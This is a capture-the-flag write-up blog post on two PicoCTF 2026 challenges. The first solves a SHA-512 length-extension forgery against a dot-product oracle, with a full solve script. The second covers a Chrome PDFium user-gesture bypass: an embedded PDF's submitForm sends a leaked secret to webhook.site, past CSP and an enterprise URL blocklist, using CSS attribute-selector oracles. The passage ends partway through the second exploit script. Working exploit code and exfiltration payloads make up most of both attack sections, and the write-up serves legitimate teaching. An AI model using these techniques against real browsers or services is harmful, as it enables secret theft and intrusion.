cold
PicoCTF 2026

PicoCTF 2026

· March 20, 2026

Introduction

PicoCTF 2026 just dropped and I won with Cosmic Bit Flip this year. See the leaderboard here. AI proved itself here, auto-solving all challenges in a very short time span.

crypto/Secure Dot Product

Our intern thought it was a great idea to vibe code a secure dot product server using our AES key. Having taken a class in linear algebra, they’re confident the server can’t ever leak our key, but I’m not so sure…

Reading the source

Here’s the full server. It generates a 32-byte AES key, encrypts the flag, then runs a dot product oracle:

remote.py
import ast
import hashlib
import os
import random
import secrets
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
KEY_SIZE = 32
SALT_SIZE = 256
class SecureDotProductService:
def __init__(self, key):
self.key_vector = [byte for byte in key]
self.salt = secrets.token_bytes(SALT_SIZE)
self.trusted_vectors = self.generate_trusted_vectors()
def hash_vector(self, vector):
vector_encoding = vector[1:-1].encode('latin-1')
return hashlib.sha512(self.salt + vector_encoding).digest().hex()
def generate_trusted_vectors(self):
trusted_vectors = []
for _ in range(5):
length = random.randint(1, 32)
vector = [random.randint(-2**8, 2**8) for _ in range(length)]
trusted_vectors.append((vector, self.hash_vector(str(vector))))
return trusted_vectors
def parse_vector(self, vector):
sanitized = "".join(c if c in '0123456789,[]' else '' for c in vector)
try:
parsed = ast.literal_eval(sanitized)
except (ValueError, SyntaxError, TypeError):
return None
if isinstance(parsed, list):
return parsed
return None
def dot_product(self, vector):
return sum(vector_entry * key_entry for vector_entry, key_entry in zip(vector, self.key_vector))
def run(self):
print("============== Secure Dot Product Service ==============")
print("I will compute the dot product of my key vector with any trustworthy vector you choose!")
print("Here are the vectors I trust won't leak my key:")
for pair in self.trusted_vectors:
print(pair)
while True:
print("========================================================")
vector_input = input("Enter your vector: ")
vector_input = vector_input.encode().decode('unicode_escape')
vector = self.parse_vector(vector_input)
vector_hash = self.hash_vector(vector_input)
if not vector:
print("Invalid vector! Please enter your vector as a list of ints.")
continue
input_hash = input("Enter its salted hash: ")
if not vector_hash == input_hash:
print("Untrusted vector detected!")
break
dot_product = self.dot_product(vector)
print("The computed dot product is: " + str(dot_product))
def read_flag():
flag_path = 'flag.txt'
if os.path.exists(flag_path):
with open(flag_path, 'r') as f:
flag = f.read().strip()
else:
print("flag.txt not found in the current directory.")
sys.exit()
return flag
def encrypt_flag(flag, key):
iv = secrets.token_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(flag.encode(), AES.block_size))
return iv, ciphertext
def main():
flag = read_flag()
key = secrets.token_bytes(KEY_SIZE)
iv, ciphertext = encrypt_flag(flag, key)
print("==================== Encrypted Flag ====================")
print(f"IV: {iv.hex()}")
print(f"Ciphertext: {ciphertext.hex()}")
service = SecureDotProductService(key)
service.run()
if __name__ == "__main__":
main()

There’s a lot here so let me break down the important parts.

How the oracle works

The server gives us 5 “trusted” random vectors (length 1–32, entries in [256,256][-256, 256]) alongside their salted SHA-512 hashes. Then it lets us query dot products in a loop, but only if we can provide the correct hash.

Three things jump out. First, the hash function (line 21) is an insecure MAC—it’s just sha512(salt || message):

remote.py
def hash_vector(self, vector):
vector_encoding = vector[1:-1].encode('latin-1')
return hashlib.sha512(self.salt + vector_encoding).digest().hex()

Second, our input gets unicode_escape decoded (line 58), and then the same decoded string is used for both parsing and hashing (lines 59–60):

remote.py
vector_input = input("Enter your vector: ")
vector_input = vector_input.encode().decode('unicode_escape')
vector = self.parse_vector(vector_input)
vector_hash = self.hash_vector(vector_input)

Third, the parser strips everything except 0123456789,[] (line 35), so non-printable bytes just vanish:

remote.py
def parse_vector(self, vector):
sanitized = "".join(c if c in '0123456789,[]' else '' for c in vector)
try:
parsed = ast.literal_eval(sanitized)
except (ValueError, SyntaxError, TypeError):
return None

The intern’s linear algebra argument

The intern’s logic is straightforward: the key has 32 unknown bytes, and we only get 5 dot products. That’s 5 equations in 32 unknowns, a massively underdetermined system. No amount of linear algebra can recover the key from just 5 inner products.

This reasoning is actually correct! If we could only query those 5 vectors, we’d be stuck.

But the MAC construction is broken.

The vulnerability: sha512(salt || message)

Important

The hash is computed as sha512(salt + message). This is the textbook insecure MAC construction—it’s vulnerable to a hash length extension attack.

SHA-512 is based on the Merkle–Damgard construction. The output hash is literally the internal state after processing all blocks. Given:

H=SHA-512(saltm)H = \text{SHA-512}(\text{salt} \| m)

we can compute:

H=SHA-512(saltmpaddingm)H' = \text{SHA-512}(\text{salt} \| m \| \text{padding} \| m')

for any extension mm' of our choice, without knowing the salt. We just initialize a new SHA-512 computation starting from state HH and feed in mm'.

The padding is deterministic (it’s the standard SHA-512 padding for the original message length), so we know exactly what bytes sit between mm and mm'.

Why this is exploitable here

There are two more pieces that make this work:

1. unicode_escape lets us inject arbitrary bytes.

The vector_input.encode().decode('unicode_escape') on our input means if we send the literal text \x80, it gets decoded into the actual byte 0x80. We can inject the SHA-512 padding bytes this way.

2. Sanitization strips non-digit characters.

The parser only keeps 0123456789,[] and throws everything else away. The SHA-512 padding bytes (\x80, null bytes, length encoding) are all non-printable—they vanish during sanitization.

So the parsed vector only sees the original trusted entries plus whatever extension entries we append.

Putting it together

Say the server gives us a trusted vector [5, 3] with hash HH.

The hash was computed on the string "5, 3" (that’s str([5, 3])[1:-1]). Using length extension, we can compute:

H=SHA-512(salt"5, 3"pad",0,0,...,0,1,0,...,0")H' = \text{SHA-512}(\text{salt} \| \texttt{"5, 3"} \| \text{pad} \| \texttt{",0,0,...,0,1,0,...,0"})

We construct our input as:

[5, 3\x80\x00\x00...\x00\x08\x20,0,0,...,0,1,0,...,0]

After unicode_escape decoding, the string contains the original content, then padding bytes, then our extension. The server hashes [1:-1] of this string, which is "5, 3" + padding + ",0,0,...,0,1,0,...,0"—exactly matching our length-extended hash HH'.

After sanitization, the padding bytes vanish and we get:

[5,3,0,0,...,0,1,0,...,0]

A 32-element vector with a 1 at position jj of our choosing. The dot product gives us:

dpj=5k0+3k1+kj\text{dp}_j = 5 \cdot k_0 + 3 \cdot k_1 + k_j

And from the base query (just [5, 3]):

dpbase=5k0+3k1\text{dp}_{\text{base}} = 5 \cdot k_0 + 3 \cdot k_1

Subtracting:

kj=dpjdpbasek_j = \text{dp}_j - \text{dp}_{\text{base}}

We can isolate every single key byte.

The full attack

Note

One minor detail: the sanitizer strips minus signs too, so [-5, 3] parses as [5, 3]. This doesn’t affect the attack since we use absolute values in our equations.

  1. Pick the shortest trusted vector of length nn
  2. Query the base dot product: B=i=0n1vikiB = \sum_{i=0}^{n-1} |v_i| \cdot k_i
  3. For each j[n,31]j \in [n, 31]: extend with a 1 at position jj, get B+kjB + k_j. Recover kj=dpjBk_j = \text{dp}_j - B.
  4. For k0k_0 through kn1k_{n-1}: use the base equations from all 5 trusted vectors. Each gives a linear equation in the first nn unknowns (after subtracting the now-known knk31k_n \ldots k_{31} contributions). Solve the system.
  5. Decrypt the flag with the recovered 32-byte AES key.

Implementation

The SHA-512 length extension needs us to reimplement the compression function. The core idea: parse the known hash into 8 state words, then continue processing extension blocks from that state.

solve.py
def sha512_length_extend(known_hash_hex, known_msg_bytes, salt_len, extension_bytes):
state = struct.unpack('>8Q', bytes.fromhex(known_hash_hex))
original_len = salt_len + len(known_msg_bytes)
padding = sha512_pad(original_len)
padded_len = original_len + len(padding)
forged_suffix = known_msg_bytes + padding + extension_bytes
# process extension starting from the known state
total_len = padded_len + len(extension_bytes)
ext_padding = sha512_pad(total_len)
data = extension_bytes + ext_padding
for i in range(0, len(data), 128):
state = sha512_compress(state, data[i:i+128])
return struct.pack('>8Q', *state).hex(), forged_suffix

For each query, we encode the padding bytes as \xNN escape sequences so that unicode_escape decoding produces the exact raw bytes we need:

solve.py
def bytes_to_escaped(b):
return ''.join('\\x{:02x}'.format(byte) for byte in b)
# payload: [ + original_content + escaped_padding + extension + ]
payload = '[' + original_content + bytes_to_escaped(padding_bytes) + ext_str + ']'

The server’s unicode_escape decoding turns our \xNN text into actual bytes. Sanitization strips them. The hash matches our length-extended value. Clean.

Running it

$ python3 solve.py REMOTE HOST=lonely-island.picoctf.net PORT=51773
[+] Opening connection to lonely-island.picoctf.net on port 51773: Done
[*] IV: b72ae6cf1782e2164f403c0b17734e54
[*] Using shortest vector (length 1): [131]
[*] Base dot product: 15196
[*] key[ 1] = 104
[*] key[ 2] = 66
...
[*] key[31] = 127
[*] key[ 0] = 116
[*] Key: 74684226745ea09aff63bcc36b13e09a772a5aa92df8d44dacf90435046bd87f
[+] Flag: picoCTF{n0t_so_s3cure_.x_w1th_sh@512_REDACTED}

We got lucky with a length-1 trusted vector, which makes the solve trivial: B=131k0B = 131 \cdot k_0, so k0=B/131k_0 = B / 131, and all other bytes come from single extensions. 32 queries total.

Full solve.py (click to expand)
solve.py
#!/usr/bin/env python3
from pwn import *
import struct
import ast
import numpy as np
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# ======================== SHA-512 Length Extension ========================
SHA512_K = [
0x428a2f98d728ae22, 0x7137449123ef65cd, 0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,
0x3956c25bf348b538, 0x59f111f1b605d019, 0x923f82a4af194f9b, 0xab1c5ed5da6d8118,
0xd807aa98a3030242, 0x12835b0145706fbe, 0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,
0x72be5d74f27b896f, 0x80deb1fe3b1696b1, 0x9bdc06a725c71235, 0xc19bf174cf692694,
0xe49b69c19ef14ad2, 0xefbe4786384f25e3, 0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,
0x2de92c6f592b0275, 0x4a7484aa6ea6e483, 0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,
0x983e5152ee66dfab, 0xa831c66d2db43210, 0xb00327c898fb213f, 0xbf597fc7beef0ee4,
0xc6e00bf33da88fc2, 0xd5a79147930aa725, 0x06ca6351e003826f, 0x142929670a0e6e70,
0x27b70a8546d22ffc, 0x2e1b21385c26c926, 0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,
0x650a73548baf63de, 0x766a0abb3c77b2a8, 0x81c2c92e47edaee6, 0x92722c851482353b,
0xa2bfe8a14cf10364, 0xa81a664bbc423001, 0xc24b8b70d0f89791, 0xc76c51a30654be30,
0xd192e819d6ef5218, 0xd69906245565a910, 0xf40e35855771202a, 0x106aa07032bbd1b8,
0x19a4c116b8d2d0c8, 0x1e376c085141ab53, 0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,
0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb, 0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,
0x748f82ee5defb2fc, 0x78a5636f43172f60, 0x84c87814a1f0ab72, 0x8cc702081a6439ec,
0x90befffa23631e28, 0xa4506cebde82bde9, 0xbef9a3f7b2c67915, 0xc67178f2e372532b,
0xca273eceea26619c, 0xd186b8c721c0c207, 0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,
0x06f067aa72176fba, 0x0a637dc5a2c898a6, 0x113f9804bef90dae, 0x1b710b35131c471b,
0x28db77f523047d84, 0x32caab7b40c72493, 0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,
0x4cc5d4becb3e42b6, 0x597f299cfc657e2a, 0x5fcb6fab3ad6faec, 0x6c44198c4a475817,
]
M64 = 0xFFFFFFFFFFFFFFFF
def rotr64(x, n):
return ((x >> n) | (x << (64 - n))) & M64
def sha512_compress(state, block):
W = list(struct.unpack('>16Q', block))
for i in range(16, 80):
s0 = rotr64(W[i-15], 1) ^ rotr64(W[i-15], 8) ^ (W[i-15] >> 7)
s1 = rotr64(W[i-2], 19) ^ rotr64(W[i-2], 61) ^ (W[i-2] >> 6)
W.append((W[i-16] + s0 + W[i-7] + s1) & M64)
a, b, c, d, e, f, g, h = state
for i in range(80):
S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41)
ch = (e & f) ^ ((~e & M64) & g)
temp1 = (h + S1 + ch + SHA512_K[i] + W[i]) & M64
S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39)
maj = (a & b) ^ (a & c) ^ (b & c)
temp2 = (S0 + maj) & M64
h = g; g = f; f = e; e = (d + temp1) & M64
d = c; c = b; b = a; a = (temp1 + temp2) & M64
return tuple((sv + wv) & M64 for sv, wv in zip(state, (a, b, c, d, e, f, g, h)))
def sha512_pad(msg_len_bytes):
bit_len = msg_len_bytes * 8
pad = b'\x80'
k = (112 - (msg_len_bytes + 1) % 128) % 128
pad += b'\x00' * k
pad += struct.pack('>QQ', 0, bit_len)
return pad
def sha512_length_extend(known_hash_hex, known_msg_bytes, salt_len, extension_bytes):
state = struct.unpack('>8Q', bytes.fromhex(known_hash_hex))
original_len = salt_len + len(known_msg_bytes)
padding = sha512_pad(original_len)
padded_len = original_len + len(padding)
forged_suffix = known_msg_bytes + padding + extension_bytes
total_len = padded_len + len(extension_bytes)
ext_padding = sha512_pad(total_len)
data = extension_bytes + ext_padding
assert len(data) % 128 == 0
for i in range(0, len(data), 128):
state = sha512_compress(state, data[i:i+128])
new_hash = struct.pack('>8Q', *state).hex()
return new_hash, forged_suffix
# ======================== Exploit Logic ========================
SALT_SIZE = 256
def bytes_to_escaped(b):
return ''.join('\\x{:02x}'.format(byte) for byte in b)
def do_query(p, payload_str, hash_hex):
p.recvuntil(b'Enter your vector: ')
p.sendline(payload_str.encode())
resp = p.recvuntil([b'Enter its salted hash: ', b'Invalid vector!'])
if b'Invalid vector!' in resp:
log.error("Server rejected vector as invalid!")
return None
p.sendline(hash_hex.encode())
resp = p.recvuntil([b'The computed dot product is: ', b'Untrusted vector detected!'])
if b'Untrusted vector' in resp:
log.error("Hash mismatch!")
return None
dp = int(p.recvline().strip())
return dp
def query_base(p, vec, hash_val):
return do_query(p, str(vec), hash_val)
def query_extended(p, vec, hash_val, extension_entries):
original_content = str(vec)[1:-1]
original_content_bytes = original_content.encode('latin-1')
ext_str = ''.join(f',{e}' for e in extension_entries)
ext_bytes = ext_str.encode('latin-1')
new_hash, forged_suffix = sha512_length_extend(
hash_val, original_content_bytes, SALT_SIZE, ext_bytes
)
padding_bytes = forged_suffix[len(original_content_bytes):-len(ext_bytes)]
payload = '[' + original_content + bytes_to_escaped(padding_bytes) + ext_str + ']'
return do_query(p, payload, new_hash)
def main():
if args.REMOTE:
p = remote(args.HOST or 'lonely-island.picoctf.net', int(args.PORT or 64888))
else:
p = process(['python3', 'remote.py'])
# Read encrypted flag
p.recvuntil(b'IV: ')
iv = bytes.fromhex(p.recvline().strip().decode())
p.recvuntil(b'Ciphertext: ')
ct = bytes.fromhex(p.recvline().strip().decode())
# Read trusted vectors
p.recvuntil(b"Here are the vectors I trust won't leak my key:\n")
trusted = []
for _ in range(5):
line = p.recvline().strip().decode()
vec, hash_val = ast.literal_eval(line)
trusted.append((vec, hash_val))
# Sort by length (shortest first)
trusted.sort(key=lambda x: len(x[0]))
base_vec, base_hash = trusted[0]
n_min = len(base_vec)
log.info(f"Using shortest vector (length {n_min}): {base_vec}")
# Step 1: base dot product for shortest vector
base_dp = query_base(p, base_vec, base_hash)
log.info(f"Base dot product: {base_dp}")
# Step 2: extract key[n_min..31] via length extension
key = [None] * 32
for j in range(n_min, 32):
ext = [0] * (32 - n_min)
ext[j - n_min] = 1
ext_dp = query_extended(p, base_vec, base_hash, ext)
key[j] = ext_dp - base_dp
log.info(f"key[{j:2d}] = {key[j]}")
# Step 3: solve for key[0..n_min-1] using all 5 trusted vectors
if n_min == 1:
key[0] = base_dp // abs(base_vec[0])
log.info(f"key[ 0] = {key[0]}")
else:
equations_A = []
equations_b = []
known_sum = sum(abs(base_vec[i]) * key[i] for i in range(n_min, min(len(base_vec), 32)))
equations_A.append([abs(base_vec[i]) for i in range(n_min)])
equations_b.append(base_dp - known_sum)
for vec, hash_val in trusted[1:]:
dp = query_base(p, vec, hash_val)
known_sum = sum(abs(vec[i]) * key[i] for i in range(n_min, min(len(vec), 32)))
coeffs = [abs(vec[i]) for i in range(min(n_min, len(vec)))]
coeffs += [0] * (n_min - len(coeffs))
equations_A.append(coeffs)
equations_b.append(dp - known_sum)
A_all = np.array(equations_A, dtype=np.float64)
b_all = np.array(equations_b, dtype=np.float64)
n_eq = len(equations_A)
if n_eq >= n_min:
x, _, _, _ = np.linalg.lstsq(A_all, b_all, rcond=None)
for i in range(n_min):
key[i] = int(round(x[i]))
else:
n_free = n_min - n_eq
A_pivot = A_all[:, :n_eq]
A_free = A_all[:, n_eq:]
found = False
from itertools import product as iprod
for free_vals in iprod(range(256), repeat=n_free):
free_arr = np.array(free_vals, dtype=np.float64)
rhs = b_all - A_free @ free_arr
try:
pivot_vals = np.linalg.solve(A_pivot, rhs)
except np.linalg.LinAlgError:
continue
rounded = [int(round(v)) for v in pivot_vals]
if all(0 <= v <= 255 and abs(v - pv) < 0.01 for v, pv in zip(rounded, pivot_vals)):
for i in range(n_eq):
key[i] = rounded[i]
for i in range(n_free):
key[n_eq + i] = free_vals[i]
test_key = bytes(key)
try:
test_cipher = AES.new(test_key, AES.MODE_CBC, iv)
test_flag = unpad(test_cipher.decrypt(ct), AES.block_size)
test_flag.decode()
found = True
break
except Exception:
continue
if not found:
log.error("Brute force failed!")
p.close()
return
key_bytes = bytes(key)
log.info(f"Key: {key_bytes.hex()}")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
try:
flag = unpad(cipher.decrypt(ct), AES.block_size)
log.success(f"Flag: {flag.decode()}")
except ValueError as e:
log.error(f"Decryption failed: {e}")
p.close()
if __name__ == '__main__':
main()

Takeaway

The intern’s linear algebra argument was solid—5 equations in 32 unknowns really can’t leak a key. The problem was the MAC. Using sha512(secret || message) instead of HMAC let us forge hashes for arbitrary extended vectors, turning 5 trusted vectors into as many as we want.

picoCTF{n0t_so_s3cure_.x_w1th_sh@512_REDACTED}

web/paper-2

A piece of paper is a blank canvas, what do you want on yours?

This is paper again from corCTF 2025 except they killed the easy version. Same upload primitive—any file, any content type, served on the challenge origin—same /secret endpoint that sticks the bot’s secret cookie into a <body secret="..."> attribute and injects your payload parameter raw into the HTML, same 60-second window to leak the secret and hit /flag with it before GETDEL nukes the key.

What changed: the bot’s Chrome now has an enterprise policy that blocks everything except the challenge origin. URLBlocklist: ['*'], URLAllowlist: ['https://web']. And the CSP is default-src 'self' 'unsafe-inline'; script-src 'none' on every response, including uploaded pages. No JS anywhere. CSS and same-origin iframes/objects still work.

Here’s /secret:

index.ts
'/secret': async (req: BunRequest): Promise<Response> => {
const secret = req.cookies.get('secret') || '0123456789abcdef'.repeat(2);
const payload = new URL(req.url, 'http://127.0.0.1').searchParams.get('payload') || '';
return new Response(
`<body secret="${secret}">${secret}\n${payload}</body>`,
headers('text/html')
);
},

The secret goes into a secret attribute on <body>, and payload is injected raw—so CSS attribute selectors can match against the secret value, and we can inject arbitrary HTML minus scripts.

The v1 solve used JS on an attacker page to window.open() the /secret endpoint, CSS to conditionally hide objects, window.length to count frames and detect which character matched, and sendBeacon() to exfiltrate. That’s dead twice over: no JS to count frames, and nowhere off-site to send anything.

CSS detection, PDF exfiltration

The CSS part is straightforward. body[secret^="a1"] matches if the first two characters are a1, and you can gate which <object> tags are visible with display: none / display: block—Chrome won’t fetch the data URL of a hidden object. So CSS can detect characters of the secret. The problem is getting that information back out when there’s no JS and no external network.

Chrome’s PDF viewer (PDFium) has its own JavaScript engine, completely separate from the page. When you load a PDF via <object>, any JS embedded in it runs in a context that isn’t subject to the page’s CSP at all, and PDF JS has this.submitForm() which can make outbound HTTP requests.

Except submitForm is supposed to require a user gesture. PDFs should not be making unsolicited network requests. So the real question is why this requirement is bypassable.

The “user gesture” check in PDFium

submitForm in fxjs/cjs_document.cpp checks this before doing anything:

CJS_EventContext* pHandler = pRuntime->GetCurrentEventContext();
if (!pHandler->IsUserGesture()) {
return CJS_Result::Failure(JSMessage::kUserGestureRequiredError);
}

And IsUserGesture():

bool CJS_EventContext::IsUserGesture() const {
switch (kind_) {
case Kind::kFieldMouseDown:
case Kind::kFieldMouseUp:
case Kind::kFieldKeystroke:
return true;
default:
return false;
}
}

There’s no real activation tracking here. PDFium just checks whether the current JS is executing inside one of three event context enum values, and if kind_ == kFieldKeystroke, submitForm goes through. No transient activation token, no propagation from actual input events, no verification that a human did anything.

So: can you get code into a kFieldKeystroke context without any user interaction? Yes—programmatically setting a form field’s value triggers the field’s keystroke action (/AA /K), and that action runs in kFieldKeystroke. The path through PDFium source:

  1. Document opens. /OpenAction JS runs in a kDocOpen context: this.getField('q').value = 'x'

  2. CJS_Field::set_value() calls SetFieldValue(), which calls pFormField->SetValue(strArray[0], NotificationOption::kNotify). The kNotify flag is what makes the whole thing work—it activates the form’s notification system.

  3. CPDF_FormField::SetValue() with kNotify calls form_->NotifyBeforeValueChange(), which calls BeforeValueChange() on the form notification handler.

  4. CPDFSDK_InteractiveForm::BeforeValueChange() calls OnKeyStrokeCommit(), sees the field has a /AA /K (keystroke) additional action, and dispatches it:

    form_fill_env_->DoActionFieldJavaScript(
    action, CPDF_AAction::kKeyStroke, pFormField, &fa);
  5. RunFieldJavaScript() calls context->OnField_Keystroke(), which sets kind_ = Kind::kFieldKeystroke.

  6. Now the keystroke action JS is running in a kFieldKeystroke context. IsUserGesture() returns true. submitForm goes through.

The form notification system—designed for maintaining consistency through validation, formatting, and calculation triggers when a field changes—accidentally promotes kDocOpen actions to kFieldKeystroke privilege. The escalation path is kDocOpen (no gesture) → programmatic set_valuekNotifyBeforeValueChangeOnKeyStrokeCommit/AA /K dispatched as kKeyStroke type → kind_ set to kFieldKeystrokesubmitForm allowed.

Why CSP and the URL blocklist don’t help

There are two more layers that should stop this. Neither does.

The PDF plugin (PdfViewWebPlugin) runs in a MimeHandlerView guest frame—a cross-process OOPIF with its own security context, entirely separate from the embedding page. When submitForm fires, PdfViewWebPlugin::SubmitForm() sends the request through UrlLoader, configured with:

options.grant_universal_access = true;

The request is tagged RequestContextType::PLUGIN / RequestDestination::kEmbed, and the grant_universal_access flag creates a universally-privileged opaque origin via GrantUniversalAccess(). The Chromium source comment reads: “When true, omit origin related checks. USE WITH CARE.”

Because the request goes out through the PDF plugin’s own loader rather than the page’s document context, the page’s CSP is never consulted—script-src, connect-src, form-action, none of it applies. And the enterprise URL blocklist targets navigations and standard frame/resource loads; plugin-initiated POSTs through WebAssociatedURLLoader with universal access are a different code path that the policy enforcement doesn’t cover.

Important

The result is that a PDF loaded via <object> can silently POST to any URL on the internet, past three separate security mechanisms that all looked like they should have stopped it.

The beacon PDF

The exploit constructs a minimal PDF-1.7 from scratch with an AcroForm containing one text field widget "q" with a /AA /K keystroke action, plus an OpenAction that starts the chain.

The OpenAction sets the field value:

this.getField('q').value='x';

The keystroke handler reads this.URL—the URL the PDF was loaded from, including query parameters—and forwards it to webhook.site:

var u=this.URL;
var i=u.indexOf('?');
var qs=i>=0?u.substring(i+1):'';
this.submitForm({cURL:'https://webhook.site/<token>?'+qs,bFDF:false,bEmpty:true,aFields:['q']});

So if the object loads /paper/1?s=0&d=p&c=a1, the PDF extracts that query string and ships it off in the form submit. The exploit script just polls webhook.site’s API to see what came back.

The full chain

Putting it all together:

Main page (/paper/{main_id})
+-- <iframe> --> helper page (/paper/{helper_id})
| +-- <iframe> --> /secret?payload=<CSS + objects>
| +-- <body secret="a1b2c3...">
| +-- <style>
| | object { display: none }
| | body[secret^="a1"] #p1 { display: block }
| +-- <object id=p1 data="/paper/{beacon}?s=0&d=p&c=a1">
| +-- PDF JS fires, submitForm to webhook.site
+-- <meta http-equiv="refresh" content="6.5;url=/paper/{next_stage}">

Whichever <object> CSS leaves visible is the one Chrome actually loads, and that PDF immediately fires submitForm with the candidate value in the query string. Everything else stays hidden and never gets fetched.

Multi-stage recovery

The secret is 32 hex characters, and CSS ^= / $= only match from the start and end of the attribute value—there’s no “match at position N” selector. So the secret has to be recovered from both ends inward, two characters at a time. Eight stages, each leaking one hex pair from the prefix and one from the suffix, meeting in the middle.

Each stage uses 16 helper pages (one per high hex nibble 0f), each containing 32 <object> tags: 16 prefix candidates and 16 suffix candidates. Across all 16 helpers, exactly one prefix object and one suffix object have their CSS selector match, causing those two beacon PDFs to fire. The exploit detects both callbacks via webhook.site polling, appends the new characters to the known prefix/suffix, and uploads the next stage with updated selectors.

Stages are chained by <meta http-equiv="refresh"> since there’s no JS to orchestrate navigation. After the delay fires, the bot auto-navigates to the next stage’s main page.

Upload IDs are sequential via redis.incr and each stage consumes exactly 17 IDs (16 helpers + 1 main), so every future ID can be predicted from the beacon’s initial ID. The meta refresh for stage N has to point at stage N+1’s main page before it exists—this works because IDs are deterministic. Every ID is verified after upload; if another user consumed one in between, the chain would silently desync, so the exploit fails fast on any mismatch.

The whole thing runs in about 57 seconds across 8 stages, fitting under the 60-second Redis TTL with roughly 3 seconds of slack. The first stage uses a 5-second meta refresh delay (extra time for the initial webhook.site round trip), subsequent stages use 6.5 seconds. Any shorter and the uploads would race the refresh.

Running it

$ python3 solve.py --base-url https://lonely-island.picoctf.net:50239 --insecure
[+] webhook token: 3bdffef9-a7f8-4952-a6a7-3e3eba116f4d
[+] beacon pdf: /paper/1
[+] stage 0 page: /paper/18
[+] visit response: 200 'visiting!'
[+] stage 00: prefix=88 suffix=9b (5.74s)
[+] uploaded stage 1 page: /paper/35
[+] stage 01: prefix=8817 suffix=419b (6.32s)
[+] stage 02: prefix=88175f suffix=90419b (7.39s)
[+] stage 03: prefix=88175f01 suffix=6f90419b (7.15s)
[+] stage 04: prefix=88175f01f8 suffix=ca6f90419b (7.76s)
[+] stage 05: prefix=88175f01f844 suffix=8bca6f90419b (8.06s)
[+] stage 06: prefix=88175f01f844c6 suffix=d68bca6f90419b (7.17s)
[+] stage 07: prefix=88175f01f844c679 suffix=56d68bca6f90419b (6.88s)
[+] recovered secret: 88175f01f844c67956d68bca6f90419b
[+] flag response (200): picoCTF{i_l1ke_frames_on_my_canvas_953d5fff}
Full solve.py (click to expand)
solve.py
#!/usr/bin/env python3
import argparse, concurrent.futures, json, re, ssl, time
import urllib.error, urllib.parse, urllib.request, uuid
HEX = "0123456789abcdef"
HEX_PAIRS = [a + b for a in HEX for b in HEX]
PAIR_SET = set(HEX_PAIRS)
HELPERS_PER_STAGE = 16
STAGE_STRIDE = HELPERS_PER_STAGE + 1
STAGE_COUNT = 8
class NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl): return None
http_error_301 = http_error_302 = http_error_303 = http_error_307 = http_error_308 = \
urllib.request.HTTPRedirectHandler.http_error_302
def log(msg): print(msg, flush=True)
def build_opener(insecure):
ctx = ssl.create_default_context()
if insecure: ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
return urllib.request.build_opener(NoRedirect(), urllib.request.HTTPSHandler(context=ctx))
def http_text(opener, method, url, *, data=None, headers=None):
req = urllib.request.Request(url, data=data, method=method)
for k, v in (headers or {}).items(): req.add_header(k, v)
try:
with opener.open(req, timeout=15) as r: return r.status, dict(r.headers.items()), r.read().decode()
except urllib.error.HTTPError as e: return e.code, dict(e.headers.items()), e.read().decode()
def multipart_body(field, fname, ctype, data):
b = f"----paper2-{uuid.uuid4().hex}"
body = f"--{b}\r\nContent-Disposition: form-data; name=\"{field}\"; filename=\"{fname}\"\r\nContent-Type: {ctype}\r\n\r\n".encode() + data + f"\r\n--{b}--\r\n".encode()
return body, b
def upload_bytes(opener, base, data, mime, fname):
body, boundary = multipart_body("file", fname, mime, data)
s, h, _ = http_text(opener, "POST", urllib.parse.urljoin(base+"/","upload"), data=body, headers={"Content-Type":f"multipart/form-data; boundary={boundary}"})
loc = h.get("Location") or h.get("location","")
m = re.search(r"/paper/(\d+)", loc)
if s not in {301,302,303,307,308} or not m: raise RuntimeError(f"upload failed: {s} {loc!r}")
return int(m.group(1))
def create_webhook_token():
req = urllib.request.Request("https://webhook.site/token", data=b'{}', method="POST", headers={"Content-Type":"application/json"})
with urllib.request.urlopen(req, timeout=15) as r: return json.loads(r.read().decode())["uuid"]
def list_webhook_requests(token):
url = f"https://webhook.site/token/{token}/requests?{urllib.parse.urlencode({'sorting':'newest','per_page':50})}"
with urllib.request.urlopen(urllib.request.Request(url, headers={"Accept":"application/json"}), timeout=15) as r:
return json.loads(r.read().decode())["data"]
def pdf_escape(v): return v.replace("\\","\\\\").replace("(","\\(").replace(")","\\)")
def build_beacon_pdf(token):
wb = f"https://webhook.site/{token}"
js_open = "this.getField('q').value='x';"
js_k = f"var u=this.URL;var i=u.indexOf('?');var qs=i>=0?u.substring(i+1):'';this.submitForm({{cURL:'{wb}?'+qs,bFDF:false,bEmpty:true,aFields:['q']}});"
stream = b"BT /F1 12 Tf 72 200 Td (Beacon) Tj ET"
objects = [
"<< /Type /Catalog /Pages 2 0 R /AcroForm 7 0 R /OpenAction 8 0 R >>",
"<< /Type /Pages /Count 1 /Kids [3 0 R] >>",
f"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 300 300] /Resources << /Font << /F1 5 0 R >> >> /Annots [6 0 R] /Contents 4 0 R >>",
f"<< /Length {len(stream)} >>\nstream\n{stream.decode()}\nendstream",
"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>",
f"<< /Type /Annot /Subtype /Widget /FT /Tx /T (q) /Rect [50 50 250 80] /P 3 0 R /F 4 /DA (/F1 12 Tf 0 g) /AA << /K << /S /JavaScript /JS ({pdf_escape(js_k)}) >> >> >>",
"<< /Fields [6 0 R] >>",
f"<< /S /JavaScript /JS ({pdf_escape(js_open)}) >>",
]
out = bytearray(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"); offsets = [0]
for i, obj in enumerate(objects, 1): offsets.append(len(out)); out.extend(f"{i} 0 obj\n{obj}\nendobj\n".encode())
